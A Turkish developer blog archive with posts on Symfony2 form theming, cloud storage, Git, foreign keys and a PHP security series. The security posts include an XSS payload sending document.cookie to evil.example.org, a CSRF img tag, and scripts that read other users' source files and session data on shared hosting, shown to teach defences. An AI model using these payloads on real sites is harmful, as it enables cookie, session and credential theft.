Symfony2'de oluşturduğumuz formları sayfada gösterirken bazı fonksiyonlar kullanıyoruz. Örneğin integer tipinde bir alanı integer_widget metodundan faydalanıyoruz. Fakat oluşan çıktının formatını değiştirmek istersek, iki yöntem kullanabiliriz. Birisi sadece ilgili fom için bu metodun çıktısını değiştirmek. Bu her ne kadar daha basit gibi görünse de, aynı işleme başka yerde ihtiyacımız olduğunda eziyet olacaktır. Bu yüzden bu yönteme ek olarak tüm formlarda bir metodun çıktısını değiştirmek için de bir yöntem bulunuyor. Önce sadece ilgili formda form_widget metodunu değiştirelim:
#src\Dubluve\NewBundle\Default\new.html.twig
{% extends '::base.html.twig' %}  {% form_theme form _self %}
{% block form_row %}  {% spaceless %}      <div class="control-group">          {{ form_label(form) }}          {{ form_errors(form) }}          <div class="controls">{{ form_widget(form) }}</div>      </div>    {% endspaceless %}  {% endblock form_row %}
{% block content %}      {{ form_row(form.email) }}  {% endblock %}
Bu sayfada kullanılan form için form_row metodu farklı bir çıktı oluşturacak, fakat diğer sayfalardaki formlar için çıktı aynı olacaktır. Eğer bu değişikliğin tüm formlar için geçerli olmasını istiyorsak kendi formatlarımızın bulunduğu bir dosya oluşturmamız gerekiyor. Yeni dosyada çıktısını değiştirmek istediğimiz metodlar olacak, diğerleri ise eskisi gibi çıktı oluşturmaya devam edecek. Yeni dosyayı proje klasörü içerisinde src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig  dosyasını yaratıyoruz.
#src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig
{% extends 'form_div_layout.html.twig' %}
 {% block form_row %}
{% spaceless %}      <div>          {{ form_label(form) }}          {{ form_errors(form) }}          <div>{{ form_widget(form) }}</div>      </div>    {% endspaceless %}  {% endblock form_row %}
Dosyadaki extends ifadesi, değiştirilmeyen form elemanlarının eskisi gibi kalacağını ifade ediyor. Dosyayı oluşturduktan sonra config.yml dosyasını da aşağıdaki şekilde güncelliyoruz ve yeni dosyamızın global olarak kullanılacağını belirtiyoruz.
# Twig Configuration  twig:      form:        resources:          - 'DubluveNewBundle:Form:bootstrap.html.twig'

Bootstrap İle Entegrasyon

Yukarıdaki yöntemleri anlattıktan sonra aslında sadece bootstrap ile değil herhangi bir CSS framework ile entegrasyon oldukça basit. Aslında sadece bootstrap dosyalarını sisteme entegre etmek bile güzel bir görünüm sağlıyor :) Hazırladığım projede tüm formların bootstrap dokümantasyonunda anlatılan horizontal-form formatında olmasını ve hata mesajlarının bootstrap formatında çıkmasını istemiş ve dosyayı buna göre düzenlemiştim. Aşağıda kullandığım dosyayı görebilirsiniz.
#src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig
{% extends 'form_div_layout.html.twig' %}    {% block form_row %}  {% spaceless %}      {% if not form.children %}      <div class="control-group">          {{ form_label(form) }}          {{ form_errors(form) }}          <div class="controls">{{ form_widget(form) }}</div>      </div>      {% else %}          {{ form_errors(form) }}          {{ form_widget(form) }}      {% endif %}  {% endspaceless %}  {% endblock form_row %}    {% block form_label %}  {% spaceless %}      {% if not compound %}          {% set label_attr = label_attr|merge({'for': id}) %}      {% endif %}      {% if required %}          {% set label_attr = label_attr|merge({'class': (label_attr.class|default('') ~ ' required control-label')|trim}) %}      {% endif %}      {% if label is empty %}          {% set label = name|humanize %}      {% endif %}      <label {% for attrname, attrvalue in label_attr %} {{ attrname }}="{{ attrvalue }}"{% endfor %} >{{ label|trans({}, translation_domain) }}</label>  {% endspaceless %}  {% endblock form_label %}
{% block form_errors %}  {% spaceless %}      {% if errors|length > 0 %}          {% for error in errors %}              <div class="alert alert-error">{{                  error.messagePluralization is null                      ? error.messageTemplate|trans(error.messageParameters, 'validators')                      : error.messageTemplate|transchoice(error.messagePluralization, error.messageParameters, 'validators')              }}</div>          {% endfor %}      {% endif %}  {% endspaceless %}  {% endblock form_errors %}
Devamı için : Symfony2 Formlarini Ozellestirmek ve Bootstrap CSS

29 Ekim 2012 Pazartesi

Online Storage Hizmetleri Kiyaslamasi

Bu yazıyı yazmamın amacı, internette bir furya halinde yayılan Bulut depolama (cloud storage) hizmetleri arasında bir kıyas yapmaya olanak sağlamaktır. Piyasada bir çok firma bu hizmeti veriyor. (buradan görebilirsiniz). Ancak ben sadece ismini duyduğum büyük firmaların hizmetlerini buraya yazdım.
Hizmetin Adı Ücretsiz Alan Desteklediği Ortam URL
DropBox 2GB Windows, Mac, Linux + Mobil Cihazlar https://www.dropbox.com/
UbuntuOne 5GB Windows, Mac, Linux + Mobil Cihazlar https://one.ubuntu.com/
GoogleDrive 5GB Windows, Mac, Linux + Mobil Cihazlar https://drive.google.com
iCloud 5GB Apple Cihazlar https://www.icloud.com/
SkyDrive 7GB Windows, Mac, Linux + Mobil Cihazlar http://windows.microsoft.com/en-US/skydrive/download
Ayrıca bu yazıyı yazarken araştırdığımda microsoftun skydrive sayfasında şöyle bir kıyaslama buldum. Burada microsoftun gözünden de ilgili kıyaslamayı görebilirsiniz. Benim tavsiyem ise, en kolay bir şekilde kurup, klasörünü özelleştirebileceğimiz DropBox ve GoogleDrive arasında tercih yapmanız olacaktır. Devamı için : Online Storage Hizmetleri Kiyaslamasi

26 Ekim 2012 Cuma

ipad3 ve usb sarj problemi - asus ai charger

Henüz elime geçen ipad3 ümü tabiki , kurcalayarak şarjını bitirdim, ancak bilgisayarımın USB sine takıp şarj etmek istediğimde "not charging" (şarj olmuyor) yazıyor. Böyle olunca da biraz araştırmak gerekti tabi. IPad 3 lerin pili daha eski nesillere göre gelişmiş  olduğunu okudum. Böyle olunca daha kuvvetli şarj cihazlarına ihtiyaç duyduklarını da okudum. Bizim USB lerimiz ise, varsayılan olarak daha az akım gönderdiği için USB den ipad3 şarj olmuyor ibaresini görüyordum. (aslında şarj oluyor ancak, çoook çok az, öyle ki şarja takılı olduğunu anlıyor ve güncelleme bile yapıyor. Ancak şarj olma miktarı aleti tatmin etmiyor. Sabaha kadar bıraksanız %10 dolar veya dolmaz :) ) Cİhazı elektrik kablosu ile şarj etmem gerektiğini söylüyorlar, ancak amerikadan geldiği için uyumlu şarj cihazım yok. Bir Çevirici almam gerekiyor. Bunu geçici olarak gidermek için de, Asus'un Ai Charger adlı programını keşfettim. Buradan Download edebileceğiniz yazılım ile, bilgisayarınızın USB çıkışlarına bir miktar daha fazla akım gönderebilirsiniz. Böylelikle hem de iphone'larınız normalden daha hızlı şarj olacak. Normalde Mac bilgisayarların USB leri bu şekilde yüksek akım verdiklerinden onlarda böyle bir problem olacağını zannetmiyorum. Asus Ai charger programının bir zararını görene de denk gelmedim ancak yine de sürekli veya sık sık kullanılmasını tavsiye etmiyorum. (USB girişlerinizi yakmamak adına) Program ile normalde 2 saatte USB den dolan Iphone 4 'üm de yaklaşık 40 dakikada full dolacak hale geldi diyebilirim. Tabi ki bu sizin anakartınızla ve USB leriniz ile doğru orantılı olacağından değişecektir. Not : Programın Linux versiyonunu bulamadım. Devamı için : ipad3 ve usb sarj problemi - asus ai charger

25 Ekim 2012 Perşembe

Foreign key nedir - Foreign key aksiyonlari

Foreign Key Nedir?

Ön not : Foreign key için türkçe bir ifade bulamadım. Foreign key'ler, farklı tablolardaki sütunlar için ilişki ve kısıt uygulama yoludur. Bu durumda ilişkili tablolardan bazıları çocuk bazıları da ebeveyn tablo gibi anılabilir. Bu iş, tıpkı OOP deki sınıf ilişkilerine benzer. Örneğin bir Üye ve bu üyeye ait birden fazla adres bilgisi tutuluyorsa, bir üye tablosu ve bir adres tablosuna ihtiyacımız olacak. Bu adres tablosunda da üyeye ait tekil (unique) bir değer (join etmek için dahi olsa) bulunması gerekecektir. Bu noktada anlatılmak istenen, o tekil değer üzerinden foreign key tanımlarsak dünya daha yaşanabilir bir yer haline gelebilir ;) Aşağıdaki aksiyonları tanımlayarak, manuel olarak yapılacak bir çok işlemden aslında otomatik olarak kurtulabiliriz.

Foregin key aksiyonları:

Farklı foreign key kısıt aksiyonlari (kategorileri) vardır. Bunlar nasıl tetiklendiklerine ve nasıl zorlandıklarıan göre değişmektedir :
  • Cascade: (basamaklamak) Ebeveyen tablodan bir satır silindiğinde, aynı foreign key'e sahip satırların tümü çocuk tablodan da silinir. Veya ana tablodaki foreign key tanımlanan sütun üstündeki değişimler, bu çocuk tablodaki ilgili satırlar için de uygulanır.
  • Restrict: (kısıtlamak)Yavru tabloda bir değişiklik meydana geliyorsa, ebeveyn tablodaki silme işlemi yapılamaz. Aynı şekilde değeri de değiştirilemez.
  • No Action: (işlem yok) No action, restrict e çok benzer. Ancak işlemi engellemek yerine, manuel olarak store precedure vb ile ilgili işlemi manuel olarak giderme fırsatı verir.
  • Set NULL: (Null atamak) Foregin key tanımlanacak sütun için NULL izin verilen bir değer ise, ebeveyen tabloda bir değişiklik veya silme işlemi olduktan sonra, çocuk tablodaki ilgili sütun NULL atanır.
  • Set Default: (Varsayılan Atamak) Eğer foreign key tanımlanan sütun için varsayılan bir değer atanmış ise, Ana tabloda yapılan değişiklikten sonra çocuk tablodaki değerler Varsayılan olana atanır.
Devamı için : Foreign key nedir - Foreign key aksiyonlari

percona server nedir

Percona, Mysql ve InnoDb performansında uzman

Perconaserver, Percona firması tarafından geliştirilen bir mysql uyarlamasıdır. Mysql'i daha performanslı hale getirip ölçeklendirilmesini ve monitör edilmesini de basitleştirir.
perconaserver ile, mysql kullanımınız hiç değişmez. Ancak bu kişiler innodb ve mysql konusunda gerçekten uzman kişiler. Açık kaynak olarak verdikleri bu ürün ile birlikte dilerseniz paralı destek ve hizmet alabiliyorsunuz. Tabi belirtmeliyim ki ben orta - büyük ölçekli bir işte kullanmama rağmen paralı destek almadan işlerimi yoluna koyabildim.
Sitelerinde de belirttikleri gibi, tüm yazılımları açık kaynak ve ücretsizdir.
Daha sonraki yazılarda, percona serverin kurulması vb konulara da değineceğim.
Şimdilik görüşmek üzere.
Devamı için : percona server nedir

23 Ekim 2012 Salı

Git Versiyon Kontrol Sistemi - Başlangıç

gitBu yazımda en popüler versiyon kontrol sistemlerinden biri olan GIT ile ilgili aldığım notları paylaşacağım. -Git daha verimli çalışma için daha önce oluşturulmuş ve değişiklik yapılmamış olan belgeleri yeniden kaydetmez. Bunun yerine daha önce kaydedilmiş olan belgeye link oluşturur. Bu özellik Git versiyon kontrol sistemini diğerlerinden ayıran en önemli farktır. -Git'in hızlı çalışması birçok işlemi localde gerçekleştirmesi sayesinde mümkün olmaktadır.Bütün değişiklik tarihi bilgisayarınızda tutulduğu için işlemler çok hızlı yapılabilmektedir.Örneğin projenin geçmişi ile ilgili bilgilere erişmek istediğinizde git uzak sunucuya giderek herhangi bilgi çekme gereksinimi duymaz ve gerekli bilgileri zaten makinenizde barındırdığından anında size sunar. Git'in local bazlı çalışması sayesinde offline olduğunuz durumlarda diğer versiyon kontrol sistemlerinin aksine yapamayacağınız çok az şey oluyor. -Git herhangi bir bilginin kendi kontrolü dışında değiştirildiğini anında tespit eden bir mekanizmaya sahiptir. Git'in kullandığı bu mekanizma "SHA-1 hash" olarak adlandırılmaktadır. Her bir belge ve projenin dosya yapısına karşılık gelen 40 karakterden oluşan bir string oluşturulmaktadır. Bu sayede git kendi bilgisi dışında yapılan değişiklikleri anında algılar.   -Git sayesinde işlemlerimizi daha cesurca gerçekleştirmemiz mümkün çünkü herşeyin kaydı tutuluyor ve istediğimiz zaman değişiklikleri geri alabiliriz. Kısaca elimizi korkak alıştırmaya gerek yoktur. -Önemli: Git kullanırken belgelerimiz 3 aşamadan birinde olur. Bunlar "committed", "modified" veya "staged" aşamalarıdır. Commited: Belgenin başarılı bir şekilde değiştirildiğini ve local veritabanına kaydedildiğini belirtir. Modified: Belgeyi değiştirdiğiniz ancak henüz commit etmediğiniz aşamadır., Staged:   İki farklı belge üzerinde çalıştığımızı varsayalım. Bir belgede yapmayı planladığımız bütün değişiklikleri o gün içerisinde tamamlıyoruz diğer belgede başladığımız işi ise tam olarak tamamlayamadan commit yapmak istiyoruz. Bu durumda henüz tamamlanmamış olan belgemizi commit etmek yerine onu staged olarak işaretliyoruz ve commit yaptığımızda sadece işimizi tamamladığımız belgenin commit edilmesini sağlamış oluyoruz. Orijinal açıklama için buraya bakınız -Git'de belgeleriniz 3 farklı dizin vardır bunlar orijinal isimleriyle şunlardır: Git directory, working directory ve staging area  

Git Kurulumu (Linux - Ubuntu)

Git'in bağlı olduğu bazı kütüphanelerin kurulumunu gerçekleştirmek gerekiyor öncelikle. Bunlar curl, zlib, openssl, expat ve libiconv kütüphaneleridir. Bunun için şöyle bir komut yazıyoruz: $ sudo apt-get install libcurl4-gnutls-dev libexpat1-dev gettext \libz-dev libssl-dev Daha sonra aşağıdaki komutu yazarak git kurulumunu gerçekleştirmeniz gerekmektedir. $ sudo apt-get install git-core  

Git Konfigürasyon Ayarları

Aşağıdaki komutları kullanarak isminiz ve email adresiniz gibi bilgileri tanıtabilirsiniz. $ git config --global user.name "Ferid Mövsümov" $ git config --global user.email faridmovsumov@gmail.com Burada --global kullanarak ayarlarınızın sistem bazında tanıtılmasını sağlamış olursunuz. Yani makinenizdeki bütün git işlemleri için bu ayarlar geçerli olacaktır. Yorumlarınızı yazarken kullanılacak varsayılan editörü belirlemek için aşağıdaki komutu kullanabilirsiniz. Eğer bu ayarı belirtmezseniz sisteminizdeki varsayılan editör kullanılacaktır. $ git config --global core.editor emacs Versiyonlar arasındaki değişiklikleri incelemenizi sağlayan varsayılan diff aracını belirlemek için aşağıdaki komut kullanılabilir $ git config --global merge.tool vimdiff Sistemde tanımlı olan git ayarlarını görmek için aşağıdaki komutu kullanmanız gereklidir. git config --list  

Git Yardım Komutları

$ git help <verb> $ git <verb> --help $ man git-<verb>   KAYNAK: http://git-scm.com/book Devamı için : Git Versiyon Kontrol Sistemi - Başlangıç

22 Ekim 2012 Pazartesi

Sirketlerde Bilgi Guvenliginin Onemi

İş hayatında büyük rekabetin yaşandığı bu dönemde, Türkiyede birçok büyük şirket bilgi güvenliğine önem vermemektedir. Şirketler arası rekabet açısından kilit rol oynayabilecek çok önmeli bilgiler böylece rakip şirketlerin eline geçebilmekte ve şirketler büyük zararlara uğrayabilmektedirler.  Büyük şirketlerde çalışan arkadaşlarımla yaptığım sohbetlerden arkadaşlarımın herhangi şekilde dış tehditlere karşı uyarılmadıkları konusunda bilgi aldım. Sadece çalışanların bilgisayarları çeşitli yazılımlarla korunmaya çalışılmaktadır. Bu yazılımlar bilgisayara herhangi yazılım yüklenmesini önlemektedirler. Arkadaşım Gtalk bile yükleyemediğinden bahsetmişti. Bu yöntemle belkide bilgisayar virüslerden ve çeşitli bilgi çalmaya yönelik olan yazılımlardan başarılı bir şekilde  korunabilir ancak şirketler sosyal mühendislik yöntemleriyle bilgi çalma yeteneği bulunan korsanlardan korunamazlar. Şirket yöneticileri sosyal mühendislik yöntemiyle yapılabilecek saldırılara karşı çalışanları eğitmelidirler. Yöneticiler bu konuda profesyonellere başvurarak personelin bu konuda bilgilendirilmesini sağlayabilirler. Profesyonel kişilere ödenecek paraları çok yüksek bulan şirket yöneticilerine başka bir tavsiyem olabilir bu da ünlü hacker Kevin D. Mitnick'in "Aldatma Sanatı" isimli kitabını okumak. Bu kitap şirket için önemli olan bilgilerin kötü niyetli kişilerden nasıl korunabileceği konusunda herkesin anlayabileceği bir dilde yazılmıştır yani kitabı anlamak için herhangi teknik bilgiye sahip olmanız gerekmemektedir. Kitapta öncelikle yapılan saldırılar anlatılmakta daha sonra Kevin D. Mitnick bu saldırılara karşı korunmak için ne gibi önlemler alınabileceğinden bahsetmektedir. İlgimi çeken bir noktaya değinmek istiyorum, kitapçılarda bu kitap genellikle bilgisayar kitaplarının arasında yer almaktadır ve bilgisayarla ilgili teknik bilgiye sahip olmayan kişiler de bu bölüme göz atmaktan genellikle kaçınmaktadırlar, oysaki bu kitabın daha çok iş hayatıyla ilgili şirket yöneticilerinin sıkça göz attıkları raflarda bulunması daha faydalı olurdu diye düşünüyorum. Ayrıca kitabın kötü niyetli kişiler içinde hazine niteliğinde olduğunu belirtmek isterim. Peki sosyal mühendislik yöntemleri nelerdir? sosyal muhendislikPek çok kişi hackerlerin sadece bir bilgisayar kullanarak sistemlere sızabileceğini, istediği bilgileri alabileceklerini düşünmektedirler. Oysaki gerçekte hiç de bu işler düşünüldüğü gibi bilgisayar vasıtasıyla yapılmamaktadır. Sosyal mühendislik dediğimiz yöntemler genellikle başka bir kişiyi telefonda veya yüzyüze ikna ederek istenilen bilgiyi o kişiden alma mantığına dayanmaktadır. Çok iyi bir sosyal mühendis bilgisayar klavyesine el sürmeden şirketiniz açısından can alıcı bilgileri sadece birkaç telefon görüşmesi kullanarak elde edebilir. Bu nedenle çalışanların bu tarz kişilere karşı daha uyanık olması için bilinçlendirilmiş olması büyük önem taşımaktadır. Devamı için : Sirketlerde Bilgi Guvenliginin Onemi

Php Guvenlik - 3

Session Güvenliği

php güvenlikSession içerisinde çok önemli bilgiler tutulduğundan session güvenlik açısından çok önemlidir. Session verilerinin sunucu tarafında tutulması güvenlik açısından içimizi rahatlatan en önemli faktördür. SSL kullanımını etkinleştirmek server ve client arasındaki veri akışının daha güvenli bir biçimde sağlanması açısından önemlidir. SSL sayesinde bütün HTTP istek ve yanıtları korumalı bir şekilde aktarılır. Güvenlik kalkanınızı biraz daha güçlendirmek isterseniz session içerisine yazılacak verileri şifreleyerek yazmayı tercih edebilirsiniz. Böylece session içerisindeki veriler şifrelemeyi çözecek anahtar olmadan okunamaz. Şifreleme işi session_set_save_handler( )  fonksiyonu yardımıyla yapılabilir. Session değişkenini her seferinde yeniden üretmek de saldırganın işini zorlaştıracaktır <?php session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = TRUE; } ?> Sitemizde bir belgeden aldığımız verileri arayüzde göstereceksek file_get_contents  den gelen veriler filtrelenmelidir. Bunu aşağıdaki gibi yapabiliriz: <?php $clean = array(); $html = array(); /* Filter Input ($_GET['filename']) */ $contents = file_get_contents($clean['filename']); /* Filter Input ($contents) */ $html['contents'] = htmlentities($clean['contents'], ENT_QUOTES, 'UTF-8'); echo $html['contents']; ?>  

Login Formlarının Güvenliği

Sisteminize kayıtlı üyenin kullanıcı adı, şifre bilgilerini yazarak sisteme giriş yapacağı formların güvenliğinin sağlanması çok önemli bir güvenlik konusudur. Sisteme giriş yapmak isteyen bir saldırgan sürekli farklı şifreler deneyen bir bot tasarlayarak sisteminize giriş yapmaya çalışacaktır. Bu tarz botları engellemek amacıyla çeşitli güvenlik önlermleri alınabilir. Bunlardan bir tanesi sisteme giriş formunuzda captcha kullanmaktır. Bu çözüm başarılı olsa da kullanıcıları sıkan bir yöntem olduğundan bu yöntemi tercih etmek istemeyebilirsiniz. Alacağınız bir diğer güvenlik önlemi ise bir kişinin art arda belli bir zaman aralığında yanlış şifre denemesi yaptığını tespit ederek onun belli bir süre sisteme giriş yapmasını engellemektir. Bu süre 15 dk olarak belirlenebilir. Örneğin 3 kere yanlış şlifre girilirse bir daha deneme yapmak için 15 dk beklemesi gerekecek. Bu tarz bir yöntem saldırganın işini oldukça zorlaştıracaktır. Http isteklerinin saldırgan tarafından dinlenmesi ihtimali göz önüne alınarak bu isteklerin güvenli bir şekilde gidip gelmesi amacıyla https protokolü kullanılabilir. Bu şekilde server ve client arasındaki veri akışı bir saldırgan tarafından ele geçirilse bile içeriğin ne olduğu kolay kolay çözülemeyecektir.  

Paylaşımlı Hosting Kullanımından Doğabilecek Güvenlik Açıkları

Paylaşımlı hosting üzerindeki başka bir sitenin sahibi olan geliştirici sizin kaynak kodlarınızı okuyabilecek bir script geliştirebilir. Aşağıdaki gibi bir kodda file isminmi belirtmek bu işi gerçerkleştirmek için yeterlidir.   <?php header('Content-Type: text/plain'); readfile($_GET['file']); ?>   Bu güvenlik açığını engellemek amacıyla alacağınız önemli önlemlerden bir tanesi de çok önemli bilgileri mümkün olduğunca veritabanında tutmaya çalışmaktır. Ancak bu da her zaman çözüm değildir çünkü veritabanı erişim bilgilerini yine de kaynak kodlarımız içerisinde tutmamız gerekecek. Bu soruna da şöyle bir çözüm getirebiliriz. Veritabanı erişim bilgilerini sadece root erişimi olacak şekilde ayarlarız.   SetEnv DB_USER "myuser" SetEnv DB_PASS "mypass"   Bu değişkenlere kod içerisinde şu şekilde erişebiliriz:   <?php $db_user = $_SERVER['DB_USER']; $db_pass = $_SERVER['DB_PASS']; $db_host = 'localhost'; $db = mysql_connect($db_host, $db_user, $db_pass); ?> Önemli verileriniz $_SERVER değişkeninde olduğundan bu bilgileri kullanıcya sunabilecek phpinfo() fonksiyonunun kullanıcılara açık bir yerde kullanılmasından kaçının. Session verilerinizin de güvenliği paylaşımlı hosting kullanımlarında tehlike altındadır. Session bilgileri tmp dosyası altında tutulur ve bu dosya bütün apache kullanıcılarının yazma izniyle erişebileceği bir yerdir.  Kötü niyetli bir kişi session verilerinin yazacağı bir script yardımıyla okuyabilir. Bu script aşağıdaki gibi olabilir.   <?php header('Content-Type: text/plain'); session_start(); $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $data = file_get_contents("$path/$filename"); if (!empty($data)) { session_decode($data); $session = $_SESSION; $_SESSION = array(); echo "Session [" . substr($filename, 5) . "]\n"; print_r($session); echo "\n--\n\n"; } } } ?> Böyle bir güvenlik açığını kapatmanın yolu session bilgilerini veritabanında tutmaktır.  

Php safe mode

Bu mod açık ise bir script çalıştırıldığında o scripti ç.alıştıran kullanıcı ile erişilmeye çalışılan kaynak sahibinin aynı kullanıcı olup olmadığı kontrol edilir. Böylece başka bir kullanıcının sizin dosyalarınıza erişimi engellenmiş olur. Safe Mode php ile yazılmış scriptler için güvenlik sağlarken diğer dillerde yazılmış olan scriptler açısından bir şey ifade etmez. Aşağıdaki gibi bir CGI scripti buna örnektir.   #!/bin/bash echo "Content-Type: text/plain" echo "" cat /home/victim/inc/db.inc   Host tarafından desteklenen Perl, Phyton gibi dillerde yazılacak scriptlerin hiçbiri safe mode ayarını dikkate almayacaktır.   Safe modun bir diğer zayıf tarafı ise scriptlerin kendi içerisinde yeni script yaratabilir ve bu yaratılan yeni scriptin sahibi web server olacaktır. Web server bütün dosyalara erişim hakkına sahip olduğundan safe modun burada herhangi güvenlik etkisi kalmayacaktır.
Kaynak : Php Essential Security- O'Reilly Devamı için : Php Guvenlik - 3

Php Guvenlik - 2

php güvenlikWeb uygulamaları genellikle dışarıdan verileri formlar aracılığıyla alır. Bu nedenle güvenlik açısından en çok dikkat edilmesi gereken yert formlardır. Kullanıcı verileri GET, POST veya HTTP HEADER (örn: Cookieler ) ile gönderebilir.

Kullanıcıdan bir belge yüklenmesi isteniyorsa, sunucu tarafında belgenin belli bir büyüklükte olmasına dair kontrol yapılmalıdır. Php nin is_uploaded_file() fonksiyonu kullanılarak bu belgenin gerçekten yüklenip yüklenmediğini kontrol etmek mantıklı olabilir. Aşağıdaki gibi bir kod parçasıyla gerekli kontrolü yapabiliriz

<?php

   $filename = $_FILES['attachment']['tmp_name'];

   if (is_uploaded_file($filename))

   {

      /* $_FILES['attachment']['tmp_name'] is an uploaded file. */

   }

?>  

Upload edilen belgeleri daha kalıcı bir yere taşınmak istenirse aşağıdaki gibi bir kod kullanılabilir.

<?php

   $old_filename = $_FILES['attachment']['tmp_name'];

   $new_filename = '/path/to/attachment.txt';

   if (move_uploaded_file($old_filename, $new_filename))

   {

      /* $old_filename is an uploaded file, and the move was successful. */

   }

?> Güvenlik açısından en önemli kural mümkün olduğunca az güvenmektir. Her aşamada şüpheci olmakta fayda vardır.  

Cross Site Scripting (XSS)

Bu saldırı türü çok sık görülen saldırı türlerinden bir tanesidir. Kullanıcıdan aldığı veriyi gösteren her bir uygulama bu saldırı türüne maruz kalma riski taşımaktadır. Web sitemizde kullanıcıların yorum yazdığı bölüme aşağıdaki gibi bir kod parçası girildiğini varsayalım <script>

   document.location = 'http://evil.example.org/steal.php?cookies=' +

   document.cookie

</script>   Saldırgan bu script çalıştığı taktirde, ilgili, web sayfasını görüntüleyen kullanıcının cookie bilgilerini çalabilir ($_GET['cookies'] içerisindeki herşeye ulaşabilir) ve kendi sitesine yönlendirerek bu bilgileri daha sonra kötü amaçlarla kullanılmak üzere kaydedebilir. Kullanıcıya gösterilecek her bir veri en azından htmlentities( ) fonksiyonundan geçirilerek bu saldırı türünü kolayca engellenebilir. Aşağıda bu saldırıya karşı geliştirilmiş bir güvenlik önlemi gösterilmektedir.   <?php

    $clean = array();

    $html = array();

    /* Filter Input ($name, $comment) */

    $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');

    $html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');

    echo "<p>{$html['name']} writes:<br />";

    echo "<blockquote>{$html['comment']}</blockquote></p>";

?>  

CSRF Saldırıları (Cross-Site Request Forgeries)

Saldırgan sizin sitenize giriş yapmış bir kullanıcıya bir url'yi ziyaret etmesini sağlayarak o kullanıcının kendi bilgisi dışında bir işlem gerçekleştirmesini sağlayabilir. Örnek olarak aşağıdaki url'yi inceleyelim. http://store.example.org/buy.php?item=pen&quantity=1 Sizin alışveriş sitenizde bir kullanıcının 1 adet kalem almasını sağlayan url yukarıdaki gibidir. Sisteminize kullanıcı adı ve şifresiyle giriş yapmış her bir kullanıcı bu bağlantıya tıkladığında bir adet kalem satın almış olur. Böylece saldırgan bu url adresine yönlendirme yapan bir linke tıklamanızı sağlarsa sizin bilginiz dışında alışveriş yaomanızı sağlamış olur. Saldırgan bu saldırı yöntemiyle sizin isteminiz dışında şifrenizi bile değiştirecek boyutta büyük zararlar vererek yaptırmak istediği her türlü işlemi size yaptırabilir. Saldırganın yapması gereken tek şey sizi belli bir url adresine yönlendirmek olduğunda bunu çeşitli yöntemlerle gerçekleştirebilir. Bu yöntemlerden en yaygını bir tıklama işlemi yapmanıza bile gerek kalmadan size gösterilen bir resmin içerisine tıklama işlemini otomatik olarak gerçekleştiren kodlar gömmektir. HTML tagı img'nin src atrribute değerinde yer alan url için browserlar ayrı bir istek gönderir bu sayede saldırganbu kod sayesinde istediği url'ye istek göndermemizi sağlayabilir. Örneği aşağıdaki gibidir. <img src="http://store.example.org/buy.php?item=pencil&quantity=50" /> Bu saldırı türüne karşı alınabilecek güvenlik önlemleri şu şekilde sıralanabilir: GET yerine POST kullanmanız saldırganın işini zorlaştıracaktır. Aşağıda CSRF saldırısnın önüne tamamen geçmeyi amaçlayan bir form örneği gösterilmiştir.   <?php

   session_start();

   $token = md5(uniqid(rand(), TRUE));

   $_SESSION['token'] = $token;

   $_SESSION['token_time'] = time();

?>

<form action="buy.php" method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<p>

Item:

<select name="item">

<option name="pen">pen</option>

<option name="pencil">pencil</option>

</select><br />

Quantity: <input type="text" name="quantity" /><br />

<input type="submit" value="Buy" />

</p>

</form>   Gelen verileri doğrulama işlemi ise şu şekilde yapılacaktır.   <?php

   if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])

   {

      /* Valid Token */

   }

?>   Güvenliği daha da güçlendirmek için bir tokenin sadece 5 dakika boyunca kullanılmasını sağlayabiliriz.   <?php

    $token_age = time() - $_SESSION['token_time'];

    if ($token_age <= 300)

    {

        /* Less than five minutes has passed. */

    }

?> KAYNAK: Essential Php Security Kitabı- O' Rielly Devamı için : Php Guvenlik - 2

Php Guvenlik - 1

php güvenlikPhp ile kod yazarken dikkat etmeniz gereken güvenlik önlemleri ile ilgili aldığım notları birkaç bölüm halinde aktarmaya çalışacağım.

Sistemde herhangi bir hata mesajının kullanıcılara gösterilmesi ciddi bir güvenlik açığıdır. Bütün hata mesajları log dosyalarına yazılmalıdır.Hata mesajlarının güvenlikle ilgili ciddi açıklara neden olabilecek bilgiler yer alabilir. Aşağıdaki kodları kullanarak hataların loglara yazılması sağlanabilir. Ayrıca kritik bilgiler içerebilecek olan hata mesajlarının kullanıcılara gösterilmesinin önüne geçmiş olursunuz.

ini_set('error_reporting', E_ALL | E_STRICT);

ini_set('display_errors', 'Off');

ini_set('log_errors', 'On');

ini_set('error_log', '/usr/local/apache/logs/error_log');   Hata durumlarında çalıştırılmak üzere özel fonksiyonlarımızı yazabiliriz. Bu fonksiyonların hata esnasında çalışması için şu şekilde bir kod yazılabilir.   set_error_handler('my_error_handler');

Aşağıda hata durumunda çalıştırılabilecek örnek bir fonksiyon örneği bulunmaktadır.

function my_error_handler($number, $string, $file, $line, $context)

{

   $error = "= == == == ==\nPHP ERROR\n= == == == ==\n";

   $error .= "Number: [$number]\n";

   $error .= "String: [$string]\n";

   $error .= "File: [$file]\n";

   $error .= "Line: [$line]\n";

   $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

   error_log($error, 3, '/usr/local/apache/logs/error_log');

}

Aşağıdaki gibi bir kullanım ile sadece Uyarılar için fonksiyonumuzun çalışmasını sağlamış oluruz

set_error_handler('my_warning_handler', E_WARNING);

Kullanıcı çok önemli bir işlem gerçekleştirmek istediğinde, sisteme zaten giriş yapmış olsa bile şifre istenebilir. Bunun örneklerini Facebook ve Twitter'in de uyguladığını görmekteyiz.

Get ve Post ile gelen verilerin atamasının yapılmadığı taktirde değişkenlere boşluk ataması yapmak gerekir . Bunu iki farklı şekilde yapabilirsiniz.

$search = (isset($_GET['search']) ? $_GET['search'] : '');

veya

$search = '';

if (isset($_GET['search']))

{

   $search = $_GET['search'];

